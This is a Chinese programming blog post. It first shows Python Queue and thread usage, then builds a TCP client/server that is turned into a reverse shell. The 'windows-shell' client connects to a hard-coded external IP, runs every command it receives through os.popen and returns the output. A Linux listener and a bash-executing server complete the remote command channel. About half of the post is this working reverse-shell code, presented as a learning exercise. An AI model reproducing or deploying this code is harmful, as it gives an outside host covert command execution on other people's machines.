Python的Queue+Thread的使用 、shell的编写

生产者消费者模式
Queue模块

Import Queue

Queue = Queue.Queue()
For I in range(10):
Queue.put(i)

Queue.empty()判断是否为空

Queue.qsize() 返回其大小

取数据
Queue.get() get一次就取出一次

# -*- coding: utf-8 -*-
import threading
import Queue
#继承一个线程类threading.Thread
class DoRun(threading.Thread):
    #结构方法,初始化属性,传入一个队列
    def __init__(self,queue):
    #继承结构方法
        threading.Thread.__init__(self)
    #两个下划线表示私有变量    
        self.__queue= queue
    def run(self):
        #线程的方法run start后执行的每次都取
        while not self.__queue.empty():
            ip = self.__queue.get()
            print ip
def main():
    threads =[]
    thread_count = 10
    queue = Queue.Queue()

    for i in range(1,255):
        queue.put('106.42.25.'+str(i))
    for i in range(thread_count):
        threads.append(DoRun(queue))
    for i in threads:
        i.start()
if __name__ == '__main__':
    main()

这里写图片描述

这么写确实快

利用Queue和线程实现生产者和消费者模式。恩,可以改善我之前的代码。加快很多。

SHELL

简单的cs模式
Server

from socket import *
from time import ctime

HOST=''
PORT = 2333
BUFSIZE=1024

ADDR = (HOST,PORT)

tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)

while True:
    print 'wait for connection...'
    tcpClient,addr = tcpServer.accept()
    print '..connected from :'+str(addr)
    while True:
        data = tcpClient.recv(BUFSIZE)
        if not data:
            break;
        tcpClient.send('[%s]%s '%(ctime(),data))
tcpClient.close()
tcpServer.close

client

from socket import *
from time import ctime

HOST ='127.0.0.1'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)

while True:
    data = raw_input('~:')
    if not data:
        break
    tcpClient.send(data)
    data = tcpClient.recv(BUFSIZE)
    if not data:
        break
    print data
tcpClient.close()

更改为可以操作shell命令
server

#!/usr/local/bin/python
from socket import *
from time import ctime
from subprocess import Popen,PIPE
def main():
    HOST=''
    PORT = 2333
    BUFSIZE=1024

    ADDR = (HOST,PORT)

    tcpServer = socket(AF_INET,SOCK_STREAM)
    tcpServer.bind(ADDR)
    tcpServer.listen(5)

    while True:
        print 'wait for connection...'
        tcpClient,addr = tcpServer.accept()
        print '..connected from :'+str(addr)
        while True:
            data = tcpClient.recv(BUFSIZE)
            if not data:
                break;
            cmd =Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
            data = cmd.stdout.read()
            tcpClient.send('[%s]%s '%(ctime(),data))
    tcpClient.close()
    tcpServer.close
if __name__ == '__main__':
    main()

client

from socket import *
from time import ctime

HOST ='123.206.15.80'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)

while True:
    data = raw_input('~:')
    if not data:
        break
    tcpClient.send(data)
    data = tcpClient.recv(BUFSIZE)
    if not data:
        break
    print data
tcpClient.close()

让winodws作为客户端连接我的服务器。服务器一直监听

#windows-shell
from socket import *
from time import ctime
# from subprocess import Popen,PIPE
import os
HOST ='123.206.15.80'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)

while True:
    try:
        data = tcpClient.recv(BUFSIZE)
        cmd =os.popen(data)
        data = cmd.read()
        print data
        tcpClient.send('[%s]%s '%(ctime(),data))
    except:
        pass
tcpClient.close()

linux下运行

#!/usr/local/bin/python
from socket import *
from time import ctime
def main():
    HOST='123.206.15.80'
    PORT = 2333
    BUFSIZE=1024

    ADDR = (HOST,PORT)

    tcpServer = socket(AF_INET,SOCK_STREAM)
    tcpServer.bind(ADDR)
    tcpServer.listen(5)

    while True:
        try:
            print 'wait for connection...'
            tcpClient,addr = tcpServer.accept()
            print '..connected from :'+str(addr)
            while True:
                data = raw_input('~:')
                if data=='quit':
                    tcpClient.close()
                    tcpServer.close
                if data != "":
                    tcpClient.send(data)
                    data = tcpClient.recv(BUFSIZE)
                    if not data:
                        break
                    print data.decode('gbk').encode('utf-8')

        except:
            pass
    tcpClient.close()
    tcpServer.close
if __name__ == '__main__':
    main()

这里写图片描述

这里写图片描述

反弹shell编写
http://blog.csdn.net/magicbreaker/article/details/2006972
https://www.waitalone.cn/linux-shell-rebound-under-way.html

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值